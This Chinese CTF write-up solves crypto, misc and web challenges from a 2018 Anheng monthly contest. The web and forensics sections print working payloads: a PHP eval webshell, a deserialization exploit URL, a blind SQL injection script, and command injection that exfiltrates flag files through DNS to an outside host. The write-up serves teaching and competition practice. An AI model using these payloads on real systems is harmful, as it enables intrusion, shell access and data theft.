二月安恒月赛WRITE UP

CRYPTO

凯撒?替换?呵呵!

题目说明:

MTHJ{CUBCGXGUGXWREXIPOYAOEYFIGXWRXCHTKHFCOHCFDUCGTXZO
HIXOEOWMEHZO}

answer:这题可以秒解,因为flag格式是flag{},所以MTHJ应该替换成flag。

掏出杀器替换网站quipquip

真的是秒解,遗憾没打这比赛,一分钟不到就拿一血是怎样一种体验233333允许我小小的yy一下(羞

Cipher

题目说明:

还能提示什么呢?公平的玩吧(密钥自己找) Dncnoqqfliqrpgeklwmppu

answer:密钥自己找?看了一下是不是一月安恒的培根的坑,发现大写的字母就第一个,可能并不是培根。

然后其实题目还是给出了提示:“公平”  ,公平的英文是fair,联想到经典密码:playfair密码

原理请见:

https://zh.wikipedia.org/wiki/%E6%B3%A2%E9%9B%B7%E8%B2%BB%E5%AF%86%E7%A2%BC

然而还是不知道密钥是啥,这就很烦了,试试playfairexample作为密码,然后并不能得出flag,一般密码题,flag应该是有意义的句子。

好吧,实在是想不到,看wp才知道密钥是playfair。(好坑)

解密得flag.

根据算法,得到:itisnotaproblemhavefun
flag{itisnotaproblemhavefun}

MISC

感谢榕榕姐姐给我发的misc题目QWQ。

USB

首先拿到一个压缩包,里面两个文件,一个233.rar压缩包和一个key.ftm.

没什么想法,用winrar打开233.rar,发现一个报错。

png的文件头被破坏,那么就要修复一下了。用winhex打开233.rar。修复png。

这里科普一下rar的文件结构:

https://wenku.baidu.com/view/b7889b64783e0912a2162aa4.html

我们看到文件头的头类型必须是0x74。然后原233.rar文件结构中是7A。那么就修复一下。

然后就能打开233.png了。

没什么想法,放stegsolve上过一遍,发现在蓝色通道的0层处有二维码。扫一下二维码得到

ci{v3erf_0tygidv2_fc0}

然后栅栏加凯撒?不是还有一个key.ftm文件还没动吗?

对key.ftm用USB Monitor Pro打开ftm文件,发现第51行有一个压缩包。

进行binwalk分析,发现有一个key.pcap流量包。

提取出来,发现是USB流量包经典题型。直接拿脚本跑。

这里附上USB流量包和鼠标流量包的分析链接:

http://blog.csdn.net/qq_36609913/article/details/78578406

脚本跑一下,拿到KEY{XINAN}

既然有key的话就能想到维吉尼亚密码。

找一个在线网站:

http://www.mygeocachingprofile.com/codebreaker.vigenerecipher.aspx

得到:fa{i3eei_0llgvgn2_sc0}

然后明显是栅栏解密了。

22个字符,明显11个一栏。解密得flag。

 flag{vig3ne2e_is_c00l}

溯源

拿到文件之后,用file命令分析

file secret

发现是一个镜像文件。使用mount命令挂载一下。

先创建一个1文件夹。

mount secret ./1

打开文件发现see_it,显示后门已经删除。

那么使用extundelete命令恢复磁盘文件。首先先看一下原本有些什么文件。(如果不会用extundelete可以先extundelete --help)

extundelete secret --inode 2

可以看到

不管了全部恢复

 extundelete secret --restore-all

把hack.chm拿出来,用hh.exe打开分析。

hh -decompile hack hack.chm

然后在hack文件夹下的xep.htm里面找到这样的信息。

好,访问

http://192.168.5.48/C_0uT.php

额额,发现并没有什么东西,后来发现是个bug,是小写t。

实际是

http://192.168.5.48/C_0ut.php?data=hello

然后思路全无。。。。。没事用nmap扫一波。

看到一波端口。

访问一下8080端口。

发现一波代码审计(woc!这不是misc吗?)

好吧,利用反序列化漏洞,文件上传,getshell。

测试:

http://192.168.5.42/C_0ut.php?data=%3C?php%20eval($_GET[%27a%27]);?%3E

看到源代码已经写入改信息。

然后利用反序列化利用漏洞。

O:9:"copy_file":3:{s:4:"path";s:7:"upload/";s:4:"file";s:10:"yulige.php";s:3:"url";s:67:"http://127.0.0.1/C_0ut.php?data=%3C?php%20eval($_GET[%27a%27]);?%3E";}

然后利用data传入。

http://192.168.5.42:8080/?data=O%3A9%3A%22copy_file%22%3A3%3A%7Bs%3A4%3A%22path%22%3Bs%3A7%3A%22upload%2f%22%3Bs%3A4%3A%22file%22%3Bs%3A10%3A%22yulige.php%22%3Bs%3A3%3A%22url%22%3Bs%3A67%3A%22http%3A%2f%2f127.0.0.1%2fC_0ut.php%3Fdata%3D%253C%3Fphp%2520eval%28%24_GET%5B%2527a%2527%5D%29%3B%3F%253E%22%3B%7D

说明已经上传成功,yulige.php下密码是a。

测试:

发现shell正常,列一下文件。

然后读取

WEB

终于到WEB了233333

进击的盲注

掏出御剑扫目录日常。发现robots.txt。

发现有index.txt。访问发现源码泄露。

 
<!DOCTYPE HTML>
<html>
<head>
<title>乌云后台登录</title>
<!-- Custom Theme files -->
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<!-- Custom Theme files -->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="keywords" content="后台登录" /></head>
<body><?phpfunction dbconnection()
{@$con = mysql_connect("localhost","root","c2FkZmFnZGZkc3Nm");// Check connectionif (!$con){echo "Failed to connect to MySQL: " . mysql_error();}@mysql_select_db("blindsql",$con) or die ( "Unable to connect to the database");mysql_query("SET character set 'UTF8'");
}
function waf($id)
{
if(preg_match("/\(|\)|\\\\/", $id))return True;
elsereturn False;
}if(isset($_POST['username'])&&isset($_POST['password']))
{$hit = '';dbconnection();$username = $_POST['username'];$password = $_POST['password'];if(waf($username)){$hit = "illegal character";}else{$sql="SELECT * FROM admin WHERE username='".$username."'" ;$result=mysql_query($sql);@$row = mysql_fetch_array($result);#$name = $row['username'];if(isset($row)&&$row['username']!="admin"){$hit = "username error!";}else{if ($row['password']===md5($password)){$hit = '没啥用哦,还是到数据库里拿数据吧。';}else{$hit = "password error!";}}}mysql_close();
}
?>
<!--header start here-->
<div class="login-form"><div class="top-login"><span><img src="data:images/group.png" alt=""/></span></div><h1>登录</h1><div class="login-top"><form method="post" action="index.php" id="slick-login"><?php if(isset($hit))echo "<font color='#FFE7BA'><p align='center'>$hit</p></font>";?><div class="login-ic"><i ></i><input type="text" name="username" class="placeholder" placeholder="username"><div class="clear"> </div></div><div class="login-ic"><i class="icon"></i><input type="password" name="password" class="placeholder" placeholder="password"><div class="clear"> </div></div><div class="log-bwn"><input type="submit"  value="Login" ></div></form></div><p class="copy">© 安恒</p>
</div>
<!--header start here-->
</body>
</html>

代码审计咯,首先有关键语句:

 @$con = mysql_connect("localhost","root","c2FkZmFnZGZkc3Nm");

用户名是root,密码是c2FkZmFnZGZkc3Nm,使用的是本地登陆localhost。

function waf($id) { if(preg_match("/\(|\)|\\\\/", $id)) return True; else return False; }

发现waf掉了()/三个符号,然后看看连接语句是:

$sql="SELECT * FROM admin WHERE username='".$username."'" ;

这就是注入点了。

我们使用order by注入。

' or 1 union select 1,2,'%s' order by 3#

用以上payload进行盲注。

然后发现GG,没有什么luan用,因为order对大小写不敏感。这里考了一下binary的使用。

使用binary的话可以识别大小写。贴一下盲注的脚本:

#!/usr/bin/env python
# encoding: utf-8
import requests
import string
url = "192.168.5.62/index.php"
flag = ""
for i in range(1,1270):payload = flagfor j in "0123456789"+string.letters+"!@#$^&*()==":data = {"username":"admin' and password like binary 'dVAxMEBkX25Fdy5waHA%s%%'#"%(payload+j),"password":"123"}print datar = requests.post(url=url,data=data)if "password error" in r.content:flag += jprint flagbreak

膜拜一叶飘零师傅。

跑出来uP10@d_nEw.php的base64字符串。

进入发现是文件上传。

http://192.168.5.62/uP10@d_nEw.php

发现其实上传可以成功的,但是如果不是图片格式,会被删除。

方法一:条件竞争。一边上传我们的带马的php文件一边访问上传的网页。

直到返回200,说明已经上传成功。然后,拿一句话获得flag即可。

方法二:xishir师傅的思路(膜一发xishir)

使用.php;.jpg的后缀的php文件即可拿shell。

PING

打开什么都没有,日常掏出大宝剑(御剑)扫目录。发现又是robots.txt

User-agent: *
Disallow:
Disallow: index.txt
Disallow: where_is_flag.php

访问index.txt

<?php include ("where_is_flag.php");
echo "ping";
$ip = (string)$_GET['ping'];
$ip = str_replace(">", "0.0", $ip);
system("ping " . $ip);

就发现过滤了">",既然是ping,刚好上次moctf新春欢乐赛看到一题ping。

其实差不多的解法,都是利用DNS带出。(盲打RCE)

http://192.168.5.49/?ping=`cat where_is_flag.php|sed s/[[:space:]]//g`.yulige.ceye.io

s/[[:space:]]//g  是因为域名里面是不能有空格的,这里把空格过滤。

盲打RCE细讲请看一叶飘零师傅的文章(再膜一下)。

http://skysec.top/2017/12/29/Time-Based-RCE/

读flag。

http://192.168.5.49/?ping=`cat dgfsdunsadkjgdgdfhdfhfgdhsadf/flag.php|sed s/[[:space:]]//g`.yulige.ceye.io

看到flag成功带出。

应该不是XSS

打开题目一看,是个留言板。

F12代码审计。

发现main.js.

$(function () {$.getToken = function () {return $("token").text();}var panel = ['feedback','login','main','chgpass'];var token = $.getToken();function getPage(){var page = document.location.hash.slice(1).split('-')[0];if(panel.indexOf(page) > -1){return page;}return panel[0];}function loadPage(page){page = page + '.html';$.get( "./template/"+page, function(data) {$("#frame").html(data);}).fail(function() {alert( "杞藉叆妯℃澘澶辫触" );});}function main(){page = getPage();loadPage(page);}window.onhashchange = function(){main();}main();
});

看到是动态载入其他页面。大致意思是用#可以访问其他页面,访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密码的时候不需要输入原密码,看到这里明白大概其是个csrf。

而访问#main的时候发现flag{}里面是空的,说明可能没有权限加载,所以用csrf获取管理员权限。

审计app.js

发现是个修改密码的js,但是会先验证token,所以我们需要先得到token。

然而token就在源代码里面

获取token的方法原理:

https://githubengineering.com/githubs-post-csp-journey/

方法一:CSRF

因为后面需要vps,我懒的弄了,直接看大佬的操作。

长图来源链接:

http://www.mamicode.com/info-detail-2214325.html

方法二:XSS

附上大佬的解题思路:

http://forum.91ctf.com/index.php/group/topic/id-37

2018二月安恒月赛WRITE UP相关推荐

  1. 2019安恒月赛7月-MISC wp

    2019 安恒月赛7月-MISC wp 前言 今天安恒月赛,和最近一部热剧有一点点关系.而我就做出了两道MISC题,还是写一下Write Up.... MISC1:真正的CTFer在哪?! 下载解压题 ...

  2. 安恒月赛-2018年12月

    签到题 没啥好说的,什么牛不能跑?蜗牛 ezweb2 题目: http://101.71.29.5:10000/index.php 解题思路: 拿到题目后,扫了一波: python3 dirsearc ...

  3. 安恒月赛2020元旦场Writeup

    正在复习密码学,突然发现今天有月赛了-于是做了一下,很简单的一次题目.. Web1 进入后是一个JS的游戏,在index.js里修改一下destroyed的增加,设置大一些,如下: 然后随便玩一下就能 ...

  4. 安恒月赛 image up

    http://101.71.29.5:10007/index.php?page=login 仔细观察这个url的话会发现,存在文件包含. 而且并没有login.php而是login,猜测代码是 < ...

  5. 安恒赛php_安恒11月月赛周周练writeup

    前言 11月月赛 完美错过时间,正好有周周练,基本都是一样月赛的web,记录下write up 手速要快 这题是10月月赛中的一题,直接看我上次的writeup:安恒月赛(十)web-2题writeu ...

  6. NOIP 2018 普及组 解题报告

    比完小结 今年的题目出的有点诡异,难度跨越有点大 入门 to 普及- to(注意:前方东非大裂谷,请小心慢行) 提高+/省选- to 提高+/省选- 不过实际上没有这么难 T3.T4 一个DP 一个暴 ...

  7. ctf图片隐写之修改图片高度

    这里的例子是安恒2018年12月赛MISC题目 这里我们用Hex workshop修改png的高度 先看一下png的文件结构 class Chunk { public: DWORD ChunkLen; ...

  8. PHP反序列化—构造POP链

    前言: 最近在刷题的时候发现这个PHP反序列化-POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞.但如果关键代码不在魔术方法中,而是在一个类的普通方法中.这时候可 ...

  9. Linux中什么命令显示vi缩写,Linux命令(八)——vi编辑器的使用

    vi编辑器是linux系统下的标准正文编辑器,有三种基本模式:命令行模式.插入模式和底行命令模式. 1.命令行模式:控制屏幕光标的移动,字符.字或行的删除,移动复制某区段及进入插入模式或底行命令模式下 ...

  10. GKCTF(MISCCRYPTO部分)(未完待续。。)

    写在前面: 嘎嘎,又是被比赛虐的一天(连续虐了三天呜呜呜,安恒月赛等等在写嘎嘎) 部分wp,剩下的一题目前还不会,这次可能会标未完待续嘎嘎 crypto 0x01小学生的密码学 嘎,看到题目描述 e( ...

最新文章

  1. Java 抽象类与接口的区别
  2. 谁说双非本科就一定无缘阿里?H哥粉丝刚刚6面通过,喜得Offer!
  3. C语言中的nan和inf使用
  4. Redis五种数据结构
  5. cmos存储器中存放了_CMOS存储器中存放了计算机的一些参数和信息,其中不包含在内的是( )。_学小易找答案...
  6. CentOS7 安装或迁移 wordpress(完整迁移)
  7. 第53课 化功大法 《小学生C++趣味编程》
  8. RN组件使用注意事项
  9. python elasticsearch bulk_Elasticsearch —— bulk批量导入数据
  10. 智能优化算法:黑猩猩优化算法-附代码
  11. 转 layout_weight体验(实现按比例显示)
  12. ARM汇编指令MCR/MRC学习
  13. java更新_java怎么更新
  14. 数学之美 第三版 目录
  15. Spark History Server 没有生效
  16. AESECB加密算法 C 语言代码实现
  17. storm的容错机制
  18. 【附源码】计算机毕业设计SSM校园二手物品交易网站
  19. GAN(生成对抗网络)在合成时间序列数据中的应用(第二部分——利用GAN生成时间序列数据)
  20. Google 图片搜索算法

热门文章

  1. OSError: [WinError 1455] 页面文件太小,无法完成操作 报错解决
  2. PLC 有哪几种常用编程语言
  3. FAT文件系统解析(一) 引导扇区、FAT表及根目录区分析
  4. 华为交换机将端口由trunk更改为access报错解决方法
  5. 边走边拍───南极三岛之行
  6. 计算机网络实验一:网线制作和局域网组建
  7. 卡巴斯基 (Kaspersky) V7.0.0.43 NCT BATE 汉化免激活特别版(附2009-12-23Key)
  8. 2009-2021网络规划设计师论文题汇总
  9. linux 字符终端F1-F6 图形终端F7- F12 简介
  10. 飞鸽传书2007绿色版该消息称